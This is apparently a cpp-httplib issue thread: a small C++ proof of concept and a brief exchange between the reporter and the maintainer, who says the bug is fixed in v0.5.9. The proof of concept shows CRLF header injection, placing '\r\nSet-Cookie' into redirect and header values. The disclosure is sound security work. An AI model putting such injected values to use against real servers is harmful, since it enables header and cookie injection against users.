httplib_poc.cc

#include "cpp-httplib/httplib.h"
using namespace httplib;
int main() {
    Server svr;
    svr.Get("/1", [](const Request& req, Response& res) {
        res.set_redirect("1\r\nSet-Cookie: a=1");
    });
    svr.Get("/2", [](const Request& req, Response& res) {
        res.set_header("a", "1\r\nSet-Cookie: a=1");
    });
    svr.listen("localhost", 3000);
}

@shouc, thanks for the report. I have fixed it with the latest v0.5.9. Could you report the fix to the place to which you have submitted this issue as a vulnerability? Thanks a lot!

You don't need to. It assumes this is fixed in a version > v0.5.8. Thanks.

OK. Thanks for the info.